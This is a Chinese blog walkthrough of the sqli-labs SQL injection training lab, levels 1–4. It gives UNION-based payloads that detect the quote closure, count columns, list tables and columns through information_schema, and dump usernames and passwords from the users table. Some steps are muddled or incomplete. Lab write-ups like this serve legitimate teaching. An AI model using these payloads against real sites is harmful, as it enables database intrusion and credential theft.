博客
关于我
sqli-lab闯关1—4
阅读量:690 次
发布时间:2019-03-17

本文共 1256 字,大约阅读时间需要 4 分钟。

《数据库注入实战》

第一关:单引号注入

第一步:判断闭合符号

输入单引号 ',检查报错信息。报错表明输入内容被放入一对单引号中。记住,这里报错是为了确认注入类型。

第二步:判断列数

输入 ?id=1' order by 1 -- 发现报错,尝试改为 ?id=2, ?id=3 等,直到报错为止。例如,到 ?id=4 报错,说明可用列数为4。

第三步:联合注入爆数据库名

尝试 ?id=0' union select 1,2,database() --,发现可以提取数据库名称。

第四步:爆数据表

使用 ?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --Get all tables in the database.

第五步:爆字段

利用 ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --Get all columns of the users table.

第六步:爆值

尝试 ?id=0' union select 1,2,group_concat(username,0x3a,password) from users --,这样可以获取用户名和密码。注意,0x3a 表示冒号 :

第二关:数字型注入

第一步:判断闭合符号

输入 ?id=1',发现无需单引号即可完成注入。

第二步:判断列数

与第一关类似,使用 ?id=1 order by 1, ?id=2 等,直到报错确定可用列数。

优化提示:

此关的目标是直接注入数字值,可以省略 SQL 注入的常数处理步骤。

第三关:圆括号注入(模糊点)

第一步:判断闭合符号

输入单引号 发现报错,但随后尝试圆括号 (), 无报错表明此关的注入类型为圆括号。

第二步:判断列数

使用 ?id=1... 一步步测试,发现可用列数为4。

第四关:双引号注入

第一步:判断闭合符号

尝试双引号 ",报错表明注入类型为双引号。

第二步:判断列数

输入 ?id=1" order by 1 等,确定可用列数为4。

第三步:联合注入爆数据库名

尝试 ?id=0" union select 1,2,database() -- 获取数据库名称。

第四步:爆数据表

使用 ?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() 获取所有表名。

总结

通过一步步尝试不同的注入类型和闭合符号,可以有效利用数据库注入技术获取所需信息。每关结尾记得清理SQL会话以避免干扰。

转载地址:http://ppshz.baihongyu.com/

你可能感兴趣的文章
org.springframework.web.multipart.MaxUploadSizeExceededException: Maximum upload size exceeded
查看>>
org.tinygroup.serviceprocessor-服务处理器
查看>>
org/eclipse/jetty/server/Connector : Unsupported major.minor version 52.0
查看>>
org/hibernate/validator/internal/engine
查看>>
SQL-36 创建一个actor_name表,将actor表中的所有first_name以及last_name导入改表。
查看>>
ORM sqlachemy学习
查看>>
Ormlite数据库
查看>>
orm总结
查看>>
os.path.join、dirname、splitext、split、makedirs、getcwd、listdir、sep等的用法
查看>>
os.system 在 Python 中不起作用
查看>>
OS2ATC2017:阿里研究员林昊畅谈操作系统创新与挑战
查看>>
OSCACHE介绍
查看>>
SQL--合计函数(Aggregate functions):avg,count,first,last,max,min,sum
查看>>
OSChina 周五乱弹 ——吹牛扯淡的耽误你们学习进步了
查看>>
OSChina 周四乱弹 ——程序员为啥要买苹果手机啊?
查看>>
OSChina 技术周刊第十期,每周技术抢先看!
查看>>
OSError: no library called “cairo-2“ was foundno library called “cairo“ was foundno library called
查看>>
Osgi环境配置
查看>>
OSG学习:几何体的操作(二)——交互事件、Delaunay三角网绘制
查看>>
OSG学习:几何对象的绘制(三)——几何元素的存储和几何体的绘制方法
查看>>